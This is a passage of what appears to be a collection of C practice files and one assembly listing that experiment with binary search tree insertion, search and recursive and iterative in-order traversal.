    tmp->next = *p;
    *p = tmp;
}

void pop_list(struct list **p, struct node **val) {
    struct list *tmp;
    tmp = *p;
    *val = tmp->val;
    *p = (*p)->next;
    free(tmp);
}

int in_list(struct list *p, struct node *val) {
    for ( ; p ; p = p->next)
        if (p->val == val)
            return 1;
    return 0;
}

int empty_list(struct list *p) {
    if (p)
        return 0;
    else
        return 1;
}

void print_tree(struct node *r) {
    if (!r)
        return;
    print_tree(r->left);
    printf("%d ", r->val);
    print_tree(r->right);
}

/*
             27
       /            \
     18             34
   /    \         /     \
  4     21       29     39
 / \   /  \     /  \   /  \
n   n n    n   n    n n    n
*/
void print_tree2(struct node *current) {
    struct list *prev = NULL, *saw = NULL;
    while (current) {
        if (current->left && !in_list(saw, current->left)) {
            push_list(&prev, current);
            current = current->left;
        } else if (current->right && !in_list(saw, current->right)) {
            push_list(&prev, current);
            current = current->right;
        } else {
            printf("%d ", current->val);
            if (!empty_list(prev))
                pop_list(&prev, &current);
            else
                return;
        }
        push_list(&saw, current);
    }
}

/*
             27
       /            \
     18              34
   /    \         /     \
  4     21       29     39
 / \   /  \     /  \   /  \
n   n n    n   n    n n    n
4 21 18 29 39 34 27
18 4 18 21 18 27 34 29 34 39 34 27
4 18 21 18 27 29 34 39 34 27
4 18 21 27 29 34 39
*/
void print_tree3(struct node *current) {
    struct list *prev = NULL, *seen = NULL;
    while (current) {
        push_list(&seen, current);
        if (current->left && !in_list(seen, current->left)) {
            push_list(&prev, current);
            current = current->left;
        } else if (current->right && !in_list(seen, current->right)) {
            push_list(&prev, current);
            current = current->right;
        } else {
            if (!empty_list(prev))
                pop_list(&prev, &current);
            else
                return;
        }
        if ((!current->left || in_list(seen, current->left)) &&
            (!current->right || !in_list(seen, current->right)))
            printf("%d ", current->val);
    }
}

int sum_tree(struct node *r) {
    if (!r)
        return 0;
    return sum_tree(r->left) + r->val + sum_tree(r->right);
}

struct node **search_tree(struct node **r, int val) {
    if (!*r || (*r)->val == val)
        return r;
    else if (val < (*r)->val)
        r = search_tree(&(*r)->left, val);
    else if (val > (*r)->val)
        r = search_tree(&(*r)->right, val);
}

struct node **search_tree2(struct node **r, int val) {
    while (*r) {
        if ((*r)->val == val)
            return r;
        else if (val < (*r)->val)
            r = &(*r)->left;
        else if (val > (*r)->val)
            r = &(*r)->right;
    }
    return r;
}

int insert_node(struct node **r, int val) {
    struct node **pos = search_tree2(r, val);
    if (!*pos) {
        init_node(pos, val);
        return 1;
    } else
        return 0;
}

int in_tree(struct node *r, int val) {
    struct node **pos = search_tree2(&r, val);
    if (*pos)
        return 1;
    else
        return 0;
}

int main() {
    int res;
    struct node *r = NULL;
    insert_node(&r, 27);
    insert_node(&r, 18);
    insert_node(&r, 34);
    insert_node(&r, 4);
    insert_node(&r, 21);
    insert_node(&r, 29);
    insert_node(&r, 39);
    print_tree3(r);
    printf("\n");
    /*
    res = in_tree(r, 4);
    printf("%d\n", res);
    res = sum_tree(r);
    printf("%d\n", res);
    */
    return 1;
}
tree-02.cC / 119 lines
#include <stdio.h>
#include <stdlib.h>

enum states { LEFT, CENTER, RIGHT };

struct node {
    int val;
    struct node *left, *right;
};

struct task {
    struct node *p;
    enum states state;
    struct task *next;
};

void init_node(struct node **r, int val) {
    *r = malloc(sizeof **r);
    (*r)->val = val;
    (*r)->left = NULL;
    (*r)->right = NULL;
}

void push_list(struct task **t, struct node *p, enum states state) {
    struct task *tmp;
    tmp = malloc(sizeof *tmp);
    tmp->p = p;
    tmp->state = state;
    tmp->next = *t;
    *t = tmp;
}

void pop_list(struct task **t, struct node **p) {
    struct task *tmp;
    tmp = *t;
    *p = (*t)->p;
    *t = (*t)->next;
    free(tmp);
}

struct node **search_tree(struct node **r, int val) {
    while (*r) {
        if ((*r)->val == val)
            return r;
        else if (val < (*r)->val)
            r = &(*r)->left;
        else if (val > (*r)->val)
            r = &(*r)->right;
    }
    return r;
}

int insert_node(struct node **r, int val) {
    struct node **pos = search_tree(r, val);
    if (!*pos) {
        init_node(pos, val);
        return 1;
    } else
        return 0;
}

/*
             27
       /            \
     18              34
   /    \         /     \
  4     21       29     39
 / \   /  \     /  \   /  \
n   n n    n   n    n n    n
*/
void print_tree(struct node *p) {
    struct task *t = NULL;
    push_list(&t, p, LEFT);
    for (int i = 1; t && i <= 20; i++) {
        switch (t->state) {
            case (LEFT):
                if (p->left) {
                    t->state = CENTER;
                    p = p->left;
                    push_list(&t, p, LEFT);
                } else {
                    pop_list(&t, &p);
                    printf("%d\n", p->val);
                }
                break;
            case (CENTER):
                p = t->p;
                if (p->right) {
                    p = p->right;
                    push_list(&t, p, RIGHT);
                } else {
                    pop_list(&t, &p);
                    printf("%d\n", p->val);
                }
                break;
            case (RIGHT):
                if (p->left) {
                    p = p->left;
                    push_list(&t, p, LEFT);
                } else {
                    pop_list(&t, &p);
                    printf("%d\n", p->val);
                }
        }
    }
}

int main() {
    struct node *r = NULL;
    insert_node(&r, 27);
    insert_node(&r, 18);
    insert_node(&r, 34);
    insert_node(&r, 4);
    insert_node(&r, 21);
    insert_node(&r, 29);
    insert_node(&r, 39);
    print_tree(r);
    return 1;
}
tree-03.cC / 113 lines
#include <stdio.h>
#include <stdlib.h>

enum states { LEFT, CENTER, RIGHT };

struct tree {
    int val;
    struct tree *left, *right;
};

struct stack {
    struct tree *node;
    enum states state;
    struct stack *next;
};

void init_node(struct tree **node, int val) {
    *node = malloc(sizeof **node);
    (*node)->val = val;
    (*node)->left = NULL;
    (*node)->right = NULL;
}

void push(struct stack **task, struct tree *node, enum states state) {
    struct stack *tmp;
    tmp = malloc(sizeof *tmp);
    tmp->node = node;
    tmp->state = state;
    tmp->next = *task;
    *task = tmp;
}

void pop(struct stack **task) {
    struct stack *tmp;
    tmp = *task;
    *task = (*task)->next;
    free(tmp);
}

struct tree **search_tree(struct tree **node, int val) {
    while (*node) {
        if ((*node)->val == val)
            return node;
        else if (val < (*node)->val)
            node = &(*node)->left;
        else if (val > (*node)->val)
            node = &(*node)->right;
    }
    return node;
}

int insert_node(struct tree **node, int val) {
    struct tree **pos = search_tree(node, val);
    if (!*pos) {
        init_node(pos, val);
        return 1;
    } else
        return 0;
}

/*
             27
       /            \
     18              34
   /    \         /     \
  4     21       29     39
 / \   /  \     /  \   /  \
n   n n    n   n    n n    n
*/
void print_tree(struct tree *node) {
    struct stack *task = NULL;
    push(&task, node, CENTER);
    for (int i = 1; task && i <= 20; i++) {
        switch (task->state) {
            case (LEFT):
                pop(&task);
                task->state = CENTER;
                break;
            case (CENTER):
                if (task->node->left) {
                    printf("%d\n", task->node->val);
                    push(&task, task->node->left, CENTER);
                } else {
                    printf("%d\n", task->node->val);
                    pop(&task);
                    task->state = RIGHT;
                }
                break;
            case (RIGHT):
                if (task->node->right) {
                    push(&task, task->node->right, RIGHT);
                } else {
                    printf("%d\n", task->node->val);
                    pop(&task);
                    task->state = LEFT;
                }
                break;
        }
    }
}

int main() {
    struct tree *node = NULL;
    insert_node(&node, 27);
    insert_node(&node, 18);
    insert_node(&node, 34);
    insert_node(&node, 4);
    insert_node(&node, 21);
    insert_node(&node, 29);
    insert_node(&node, 39);
    print_tree(node);
    return 1;
}
tree-04.cC / 143 lines
#include <stdio.h>
#include <stdlib.h>

enum states { LEFT, CENTER, RIGHT };

struct tree {
    int value;
    struct tree *left, *right;
};

struct stack {
    struct tree *node;
    enum states state;
    int been_left, been_right;
    struct stack *next;
};

void init_node(struct tree **node, int value) {
    *node = malloc(sizeof **node);
    (*node)->value = value;
    (*node)->left = NULL;
    (*node)->right = NULL;
}

void push(struct stack **task, struct tree *node, enum states state,
        int been_left, int been_right) {
    struct stack *tmp;
    tmp = malloc(sizeof *tmp);
    tmp->node = node;
    tmp->state = state;
    tmp->been_left = been_left;
    tmp->been_right = been_right;
    tmp->next = *task;
    *task = tmp;
}

void pop(struct stack **task) {
    struct stack *tmp;
    tmp = *task;
    *task = (*task)->next;
    free(tmp);
}

struct tree **search_tree(struct tree **node, int value) {
    while (*node) {
        if ((*node)->value == value)
            return node;
        else if (value < (*node)->value)
            node = &(*node)->left;
        else if (value > (*node)->value)
            node = &(*node)->right;
    }
    return node;
}

int insert_node(struct tree **node, int value) {
    struct tree **pos = search_tree(node, value);
    if (!*pos) {
        init_node(pos, value);
        return 1;
    } else
        return 0;
}

void print_tree(struct tree *node) {
    if (node) {
        print_tree(node->left);
        printf("%d\n", node->value);
        print_tree(node->right);
    }
}

/*
             27
       /            \
     18              34
   /    \         /     \
  4     21       29     39
 / \   /  \     /  \   /  \
n   6 n    n   n    n n    n
*/

void case_left(struct stack **task) {
    struct tree *node = (*task)->node->left;
    if (node) {
        push(task, node, LEFT, 0, 0);
    } else {
        (*task)->state = CENTER;
    }
}

void case_center(struct stack **task) {
    printf("%d\n", (*task)->node->value);
    pop(task);
    if (*task)
        (*task)->state = RIGHT;
    else
        return;
}

void case_right(struct stack **task) {
    struct tree *node = (*task)->node->right;
    /*
    if (node && node->value == 21)
        printf("%d\n", node->value);
     */
    if (node) {
        push(task, node, RIGHT, 0, 0);
    } else {
        (*task)->state = LEFT;
    }
}

void print_tree2(struct tree *node) {
    struct stack *task = NULL;
    push(&task, node, LEFT, 0, 0);
    for (int i = 1; task && i <= 20; i++) {
        switch (task->state) {
            case (LEFT):
                case_left(&task);
                break;
            case (CENTER):
                case_center(&task);
                break;
            case (RIGHT):
                case_right(&task);
        }
    }
}

int main() {
    struct tree *node = NULL;
    insert_node(&node, 27);
    insert_node(&node, 18);
    insert_node(&node, 34);
    insert_node(&node, 4);
    insert_node(&node, 21);
    insert_node(&node, 29);
    insert_node(&node, 39);
    insert_node(&node, 6);
    print_tree2(node);
    return 1;
}
tree-05.cC / 146 lines
#include <stdio.h>
#include <stdlib.h>

enum states { LEFT, CENTER, RIGHT };

struct tree {
    int value;
    struct tree *left, *right;
};

struct stack {
    struct tree *node;
    enum states state;
    int been_left, been_right;
    struct stack *next;
};

void init_node(struct tree **node, int value) {
    *node = malloc(sizeof **node);
    (*node)->value = value;
    (*node)->left = NULL;
    (*node)->right = NULL;
}

void push(struct stack **task, struct tree *node) {
    struct stack *tmp;
    tmp = malloc(sizeof *tmp);
    tmp->node = node;
    tmp->state = LEFT;
    tmp->been_left = 0;
    tmp->been_right = 0;
    tmp->next = *task;
    *task = tmp;
}

void pop(struct stack **task) {
    struct stack *tmp;
    tmp = *task;
    *task = (*task)->next;
    free(tmp);
}

struct tree **search_tree(struct tree **node, int value) {
    while (*node) {
        if ((*node)->value == value)
            return node;
        else if (value < (*node)->value)
            node = &(*node)->left;
        else if (value > (*node)->value)
            node = &(*node)->right;
    }
    return node;
}

int insert_node(struct tree **node, int value) {
    struct tree **pos = search_tree(node, value);
    if (!*pos) {
        init_node(pos, value);
        return 1;
    } else
        return 0;
}

void print_tree(struct tree *node) {
    if (node) {
        print_tree(node->left);
        printf("%d\n", node->value);
        print_tree(node->right);
    }
}

/*
             27
       /            \
     18              34
   /    \         /     \
  4     21       29     39
 / \   /  \     /  \   /  \
n   6 n    n   n    n n    n
*/

void case_left(struct stack **task) {
    struct tree *node = (*task)->node->left;
    if (node && !(*task)->been_left) {
        (*task)->been_left = 1;
        push(task, node);
    } else
        (*task)->state = CENTER;
}

void case_center(struct stack **task) {
    if (!(*task)->been_right)
        printf("%d\n", (*task)->node->value);
    (*task)->state = RIGHT;
}

void case_right(struct stack **task) {
    struct tree *node = (*task)->node->right;
    if (node && !(*task)->been_right) {
        (*task)->been_right = 1;
        push(task, node);
    } else
        pop(task);
}

void print_tree2(struct tree *node) {
    struct stack *task = NULL;
    push(&task, node);
    while (task) {
        switch (task->state) {
            case (LEFT):
                case_left(&task);
                break;
            case (CENTER):
                case_center(&task);
                break;
            case (RIGHT):
                case_right(&task);
        }
    }
}

int main() {
    struct tree *node = NULL;
    /*
    insert_node(&node, 27);
    insert_node(&node, 18);
    insert_node(&node, 34);
    insert_node(&node, 4);
    insert_node(&node, 21);
    insert_node(&node, 29);
    insert_node(&node, 39);
    insert_node(&node, 6);
    */
    insert_node(&node, 27);
    insert_node(&node, 25);
    insert_node(&node, 18);
    insert_node(&node, 4);
    insert_node(&node, 11);
    insert_node(&node, 34);
    insert_node(&node, 29);
    insert_node(&node, 44);
    insert_node(&node, 39);
    print_tree2(node);
    return 0;
}
tree-06.cC / 160 lines
#include <stdio.h>
#include <stdlib.h>

enum states { LEFT, CENTER, RIGHT };

struct tree {
    int value;
    struct tree *left, *right;
};

struct stack {
    struct tree *node;
    enum states state;
    int been_left, been_right;
    struct stack *next;
};

void init_node(struct tree **node, int value) {
    *node = malloc(sizeof **node);
    (*node)->value = value;
    (*node)->left = NULL;
    (*node)->right = NULL;
}

void push(struct stack **task, struct tree *node) {
    struct stack *tmp;
    tmp = malloc(sizeof *tmp);
    tmp->node = node;
    tmp->state = LEFT;
    tmp->been_left = 0;
    tmp->been_right = 0;
    tmp->next = *task;
    *task = tmp;
}

void pop(struct stack **task) {
    struct stack *tmp;
    tmp = *task;
    *task = (*task)->next;
    free(tmp);
}

int insert_node(struct tree **node, int value) {
    int res;
    if (!(*node)) {
        init_node(node, value);
        res = 1;
    } else if (value < (*node)->value)
        res = insert_node(&(*node)->left, value);
    else if (value > (*node)->value)
        res = insert_node(&(*node)->right, value);
    else
        res = 0;
    return res;
}

struct tree **search_tree(struct tree **node, int value) {
    while (*node) {
        if ((*node)->value == value)
            return node;
        else if (value < (*node)->value)
            node = &(*node)->left;
        else if (value > (*node)->value)
            node = &(*node)->right;
    }
    return node;
}

int insert_node2(struct tree **node, int value) {
    struct tree **pos = search_tree(node, value);
    if (!*pos) {
        init_node(pos, value);
        return 1;
    } else
        return 0;
}

void print_tree(struct tree *node) {
    if (node) {
        print_tree(node->left);
        printf("%d\n", node->value);
        print_tree(node->right);
    }
}

/*
             27
       /            \
     18              34
   /    \         /     \
  4     21       29     39
 / \   /  \     /  \   /  \
n   6 n    n   n    n n    n
*/

void case_left(struct stack **task) {
    struct tree *node = (*task)->node->left;
    if (node && !(*task)->been_left) {
        (*task)->been_left = 1;
        push(task, node);
    } else
        (*task)->state = CENTER;
}

void case_center(struct stack **task) {
    if (!(*task)->been_right)
        printf("%d\n", (*task)->node->value);
    (*task)->state = RIGHT;
}

void case_right(struct stack **task) {
    struct tree *node = (*task)->node->right;
    if (node && !(*task)->been_right) {
        (*task)->been_right = 1;
        push(task, node);
    } else
        pop(task);
}

void print_tree2(struct tree *node) {
    struct stack *task = NULL;
    push(&task, node);
    while (task) {
        switch (task->state) {
            case (LEFT):
                case_left(&task);
                break;
            case (CENTER):
                case_center(&task);
                break;
            case (RIGHT):
                case_right(&task);
        }
    }
}

int main() {
    struct tree *node = NULL;
    /*
    insert_node(&node, 27);
    insert_node(&node, 18);
    insert_node(&node, 34);
    insert_node(&node, 4);
    insert_node(&node, 21);
    insert_node(&node, 29);
    insert_node(&node, 39);
    insert_node(&node, 6);
    */
    insert_node(&node, 27);
    insert_node(&node, 25);
    insert_node(&node, 18);
    insert_node(&node, 4);
    insert_node(&node, 11);
    insert_node(&node, 34);
    insert_node(&node, 29);
    insert_node(&node, 44);
    insert_node(&node, 39);
    print_tree2(node);
    return 0;
}
tree-07.cC / 182 lines
#include <stdio.h>
#include <stdlib.h>

enum states { LEFT, CENTER, RIGHT };

struct tree {
    int value;
    struct tree *left, *right;
};

struct stack
{
    struct tree *node;
    enum states state;
    int been_left, been_right;
    struct stack *next;
};

void init_node(struct tree **node, int value)
{
    *node = malloc(sizeof **node);
    (*node)->value = value;
    (*node)->left = NULL;
    (*node)->right = NULL;
}

void push(struct stack **task, struct tree *node)
{
    struct stack *tmp;
    tmp = malloc(sizeof *tmp);
    tmp->node = node;
    tmp->state = LEFT;
    tmp->been_left = 0;
    tmp->been_right = 0;
    tmp->next = *task;
    *task = tmp;
}

void pop(struct stack **task)
{
    struct stack *tmp;
    tmp = *task;
    *task = (*task)->next;
    free(tmp);
}

int insert_node(struct tree **node, int value)
{
    int res;
    if (!(*node)) {
        init_node(node, value);
        res = 1;
    } else if (value < (*node)->value)
        res = insert_node(&(*node)->left, value);
    else if (value > (*node)->value)
        res = insert_node(&(*node)->right, value);
    else
        res = 0;
    return res;
}

struct tree **search_tree(struct tree **node, int value)
{
    while (*node) {
        if ((*node)->value == value)
            return node;
        else if (value < (*node)->value)
            node = &(*node)->left;
        else if (value > (*node)->value)
            node = &(*node)->right;
    }
    return node;
}

int insert_node2(struct tree **node, int value)
{
    struct tree **pos = search_tree(node, value);
    if (!*pos) {
        init_node(pos, value);
        return 1;
    } else
        return 0;
}

void print_tree(struct tree *node)
{
    if (node) {
        print_tree(node->left);
        printf("%d\n", node->value);
        print_tree(node->right);
    }
}

/*
             27
       /            \
     18              34
   /    \         /     \
  4     21       29     39
 / \   /  \     /  \   /  \
n   6 n    n   n    n n    n
*/

void case_left(struct stack **task)
{
    struct tree *node = (*task)->node->left;
    if (node && !(*task)->been_left) {
        (*task)->been_left = 1;
        push(task, node);
    } else
        (*task)->state = CENTER;
}

void case_center(struct stack **task)
{
    if (!(*task)->been_right)
        printf("%d\n", (*task)->node->value);
    (*task)->state = RIGHT;
}

void case_right(struct stack **task)
{
    struct tree *node = (*task)->node->right;
    if (node && !(*task)->been_right) {
        (*task)->been_right = 1;
        push(task, node);
    } else
        pop(task);
}

void print_tree2(struct tree *node)
{
    struct stack *task = NULL;
    push(&task, node);
    while (task) {
        switch (task->state) {
            case (LEFT):
                case_left(&task);
                break;
            case (CENTER):
                case_center(&task);
                break;
            case (RIGHT):
                case_right(&task);
        }
    }
}

void callback_sum(int value, void *userdata)
{
    int *sum = userdata;
    *sum += value;
}

void walk_tree(struct tree *node,
               void (*callback)(int, void *),
               void *userdata)
{
    if (node) {
        walk_tree(node->left, callback, userdata);
        callback(node->value, userdata);
        walk_tree(node->right, callback, userdata);
    }
}

int main() {
    int sum = 0;
    struct tree *node = NULL;
    insert_node(&node, 27);
    insert_node(&node, 25);
    insert_node(&node, 18);
    insert_node(&node, 4);
    insert_node(&node, 11);
    insert_node(&node, 34);
    insert_node(&node, 29);
    insert_node(&node, 44);
    insert_node(&node, 39);
    print_tree2(node);
    walk_tree(node, callback_sum, &sum);
    printf("%d\n", sum);
    return 0;
}
tree-08.cC / 126 lines
#include <stdio.h>
#include <stdlib.h>

typedef enum {
    start, been, end
} states;

typedef struct node_s {
    int value;
    struct node_s *left, *right;
} node;

typedef struct stack_s {
    node *n;
    states state;
    struct stack_s* next;
} stack;

void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

void stack_push(stack **p, node *n, states state)
{
    stack *tmp;
    tmp = xmalloc(sizeof(stack));
    tmp->n = n;
    tmp->state = state;
    tmp->next = *p;
    *p = tmp;
}

void stack_remove(stack **p)
{
    stack *tmp;
    tmp = *p;
    *p = (*p)->next;
    free(tmp);
}


void node_init(node **p, int value)
{
    *p = xmalloc(sizeof(node));
    (*p)->value = value;
    (*p)->left = NULL;
    (*p)->right = NULL;
}

node **node_search(node **p, int value)
{
    while (*p && value != (*p)->value)
        if (value < (*p)->value)
            p = &(*p)->left;
        else
            p = &(*p)->right;
    return p;
}

int node_insert(node **p, int value)
{
    node **loc = node_search(p, value);
    if (!*loc) {
        node_init(loc, value);
        return 1;
    } else
        return 0;
}

void print_tree(node *p)
{
    if (p) {
        print_tree(p->left);
        printf("%d ", p->value);
        print_tree(p->right);
    }
}

void print_tree2(node *p)
{
    stack *s = NULL;
    stack_push(&s, p, start);
    while (s) {
        switch (s->state) {
            case start:
                s->state = been;
                if (s->n->left)
                    stack_push(&s, s->n->left, start);
                break;
            case been:
                printf("%d ", s->n->value);
                s->state = end;
                if (s->n->right)
                    stack_push(&s, s->n->right, start);
                        break;
            case end:
                stack_remove(&s);
        }
    }
}


int main()
{
    node *p = NULL;
    node_insert(&p, 5);
    node_insert(&p, 3);
    node_insert(&p, 2);
    node_insert(&p, 4);
    node_insert(&p, 1);
    node_insert(&p, 7);
    node_insert(&p, 6);
    node_insert(&p, 8);
    node_insert(&p, 9);
    print_tree2(p);
    printf("\n");
    return 0;
}
tree-09.asmAssembly / 231 lines
xmalloc:
    push    rbp
    mov rbp, rsp
    sub rsp, 32
    mov DWORD PTR -20[rbp], edi
    mov eax, DWORD PTR -20[rbp]
    cdqe
    mov rdi, rax
    call    malloc@PLT
    mov QWORD PTR -8[rbp], rax
    cmp QWORD PTR -8[rbp], 0
    jne .L2
    mov rax, QWORD PTR stderr[rip]
    mov rcx, rax
    mov edx, 34
    mov esi, 1
    lea rax, .LC0[rip]
    mov rdi, rax
    call    fwrite@PLT
    mov edi, 1
    call    exit@PLT
    mov rax, QWORD PTR -8[rbp]
    leave
    ret
node_init:
    push    rbp
    mov rbp, rsp
    sub rsp, 16
    mov QWORD PTR -8[rbp], rdi
    mov DWORD PTR -12[rbp], esi
    mov edi, 24
    call    xmalloc
    mov rdx, QWORD PTR -8[rbp]
    mov QWORD PTR [rdx], rax
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR [rax]
    mov edx, DWORD PTR -12[rbp]
    mov DWORD PTR [rax], edx
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR [rax]
    mov QWORD PTR 8[rax], 0
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR [rax]
    mov QWORD PTR 16[rax], 0
    nop
    leave
    ret
node_search:
    push    rbp
    mov rbp, rsp
    mov QWORD PTR -8[rbp], rdi
    mov DWORD PTR -12[rbp], esi
    jmp .L6
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR [rax]
    mov eax, DWORD PTR [rax]
    cmp DWORD PTR -12[rbp], eax
    jge .L7
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR [rax]
    add rax, 8
    mov QWORD PTR -8[rbp], rax
    jmp .L6
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR [rax]
    add rax, 16
    mov QWORD PTR -8[rbp], rax
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR [rax]
    test    rax, rax
    je  .L8
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR [rax]
    mov eax, DWORD PTR [rax]
    cmp DWORD PTR -12[rbp], eax
    jne .L9
    mov rax, QWORD PTR -8[rbp]
    pop rbp
    ret
node_search2:
    push    rbp
    mov rbp, rsp
    mov QWORD PTR -8[rbp], rdi
    mov DWORD PTR -12[rbp], esi
    jmp .L12
    mov rax, QWORD PTR -8[rbp]
    mov eax, DWORD PTR [rax]
    cmp DWORD PTR -12[rbp], eax
    jge .L13
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR 8[rax]
    mov QWORD PTR -8[rbp], rax
    jmp .L12
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR 16[rax]
    mov QWORD PTR -8[rbp], rax
    cmp QWORD PTR -8[rbp], 0
    je  .L14
    mov rax, QWORD PTR -8[rbp]
    mov eax, DWORD PTR [rax]
    cmp DWORD PTR -12[rbp], eax
    jne .L15
    mov rax, QWORD PTR -8[rbp]
    pop rbp
    ret
node_insert:
    push    rbp
    mov rbp, rsp
    sub rsp, 32
    mov QWORD PTR -24[rbp], rdi
    mov DWORD PTR -28[rbp], esi
    mov edx, DWORD PTR -28[rbp]
    mov rax, QWORD PTR -24[rbp]
    mov esi, edx
    mov rdi, rax
    call    node_search
    mov QWORD PTR -8[rbp], rax
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR [rax]
    test    rax, rax
    jne .L18
    mov edx, DWORD PTR -28[rbp]
    mov rax, QWORD PTR -8[rbp]
    mov esi, edx
    mov rdi, rax
    call    node_init
    mov eax, 1
    jmp .L19
    mov eax, 0
    leave
    ret
node_insert2:
    push    rbp
    mov rbp, rsp
    sub rsp, 32
    mov QWORD PTR -24[rbp], rdi
    mov DWORD PTR -28[rbp], esi
    mov rax, QWORD PTR -24[rbp]
    mov rax, QWORD PTR [rax]
    mov edx, DWORD PTR -28[rbp]
    mov esi, edx
    mov rdi, rax
    call    node_search2
    mov QWORD PTR -8[rbp], rax
    mov rax, QWORD PTR -8[rbp]
    test    rax, rax
    jne .L21
    mov edx, DWORD PTR -28[rbp]
    lea rax, -8[rbp]
    mov esi, edx
    mov rdi, rax
    call    node_init
    mov eax, 1
    jmp .L23
    mov eax, 0
    leave
    ret
print_tree:
    push    rbp
    mov rbp, rsp
    sub rsp, 16
    mov QWORD PTR -8[rbp], rdi
    cmp QWORD PTR -8[rbp], 0
    je  .L26
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR 8[rax]
    mov rdi, rax
    call    print_tree
    mov rax, QWORD PTR -8[rbp]
    mov eax, DWORD PTR [rax]
    mov esi, eax
    lea rax, .LC1[rip]
    mov rdi, rax
    mov eax, 0
    call    printf@PLT
    mov rax, QWORD PTR -8[rbp]
    mov rax, QWORD PTR 16[rax]
    mov rdi, rax
    call    print_tree
    nop
    leave
    ret
main:
    push    rbp
    mov rbp, rsp
    sub rsp, 16
    mov QWORD PTR -8[rbp], 0
    lea rax, -8[rbp]
    mov esi, 5
    mov rdi, rax
    call    node_insert2
    lea rax, -8[rbp]
    mov esi, 3
    mov rdi, rax
    call    node_insert
    lea rax, -8[rbp]
    mov esi, 2
    mov rdi, rax
    call    node_insert2
    lea rax, -8[rbp]
    mov esi, 4
    mov rdi, rax
    call    node_insert
    lea rax, -8[rbp]
    mov esi, 1
    mov rdi, rax
    call    node_insert2
    lea rax, -8[rbp]
    mov esi, 7
    mov rdi, rax
    call    node_insert
    lea rax, -8[rbp]
    mov esi, 6
    mov rdi, rax
    call    node_insert2
    lea rax, -8[rbp]
    mov esi, 8
    mov rdi, rax
    call    node_insert
    lea rax, -8[rbp]
    mov esi, 9
    mov rdi, rax
    call    node_insert2
    mov rax, QWORD PTR -8[rbp]
    mov rdi, rax
    call    print_tree
    mov edi, 10
    call    putchar@PLT
    mov eax, 0
    leave
    ret
tree-09.cC / 113 lines
#include <stdio.h>
#include <stdlib.h>

typedef struct node_s {
    int value;
    struct node_s *left, *right;
} node;

void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

void node_init(node **p, int value)
{
    *p = xmalloc(sizeof(node));
    (*p)->value = value;
    (*p)->left = NULL;
    (*p)->right = NULL;
}

node **node_search(node **p, int value)
{
    while (*p && value != (*p)->value)
        if (value < (*p)->value)
            p = &(*p)->left;
        else
            p = &(*p)->right;
    return p;
}

int node_insert(node **p, int value)
{
    node **loc = node_search(p, value);
    if (!*loc) {
        node_init(loc, value);
        return 1;
    } else
        return 0;
}


node *node_search2(node *p, int value)
{
    while (p && value != p->value)
        if (value < p->value)
            p = p->left;
        else
            p = p->right;
    return p;
}

int node_insert2(node **p, int value)
{
    node *loc = node_search2(*p, value);
    if (!loc) {
        node_init(&loc, value);
        return 1;
    } else
        return 0;
}

void node_search3(node *p, int value)
{
    while (p && value != p->value)
        if (value < p->value)
            p = p->left;
        else
            p = p->right;
}

int node_insert3(node **p, int value)
{
    node *loc = *p;
    node_search3(loc, value);
    if (!loc) {
        node_init(&loc, value);
        return 1;
    } else
        return 0;
}

void print_tree(node *p)
{
    if (p) {
        print_tree(p->left);
        printf("%d ", p->value);
        print_tree(p->right);
    }
}

int main()
{
    node *p = NULL;
    node_insert2(&p, 5);
    node_insert(&p, 3);
    node_insert2(&p, 2);
    node_insert(&p, 4);
    node_insert2(&p, 1);
    node_insert(&p, 7);
    node_insert2(&p, 6);
    node_insert(&p, 8);
    node_insert2(&p, 9);
    print_tree(p);
    printf("\n");
    return 0;
}
tree-10.cC / 92 lines
#include <stdio.h>
#include <stdlib.h>

typedef struct node_s {
    int value;
    struct node_s *left, *right;
} node;

void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

void node_init(node **p, int value)
{
    *p = xmalloc(sizeof(node));
    (*p)->value = value;
    (*p)->left = NULL;
    (*p)->right = NULL;
}

node **node_search(node **p, int value)
{
    while (*p && value != (*p)->value)
        if (value < (*p)->value)
            p = &(*p)->left;
        else
            p = &(*p)->right;
    return p;
}

int node_insert(node **p, int value)
{
    node **loc = node_search(p, value);
    if (!*loc) {
        node_init(loc, value);
        return 1;
    } else
        return 0;
}

node *node_search2(node *p, int value)
{
    while (p && value != p->value)
        if (value < p->value)
            p = p->left;
        else
            p = p->right;
    return p;
}

int node_insert2(node **p, int value)
{
    node *loc = node_search2(*p, value);
    if (!loc) {
        node_init(&loc, value);
        return 1;
    } else
        return 0;
}

void print_tree(node *p)
{
    if (p) {
        print_tree(p->left);
        printf("%d ", p->value);
        print_tree(p->right);
    }
}

int main()
{
    node *p = NULL;
    node_insert2(&p, 5);
    node_insert(&p, 3);
    node_insert2(&p, 2);
    node_insert(&p, 4);
    node_insert2(&p, 1);
    node_insert(&p, 7);
    node_insert2(&p, 6);
    node_insert(&p, 8);
    node_insert2(&p, 9);
    print_tree(p);
    printf("\n");
    return 0;
}
tree-11.cC / 135 lines
#include <stdio.h>
#include <stdlib.h>

typedef struct node_s {
    int value;
    struct node_s *left, *right;
} node;

void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

void node_init(node **p, int value)
{
    *p = xmalloc(sizeof(node));
    (*p)->value = value;
    (*p)->left = NULL;
    (*p)->right = NULL;
}

node **node_search(node **p, int value)
{
    while (*p && value != (*p)->value)
        if (value < (*p)->value)
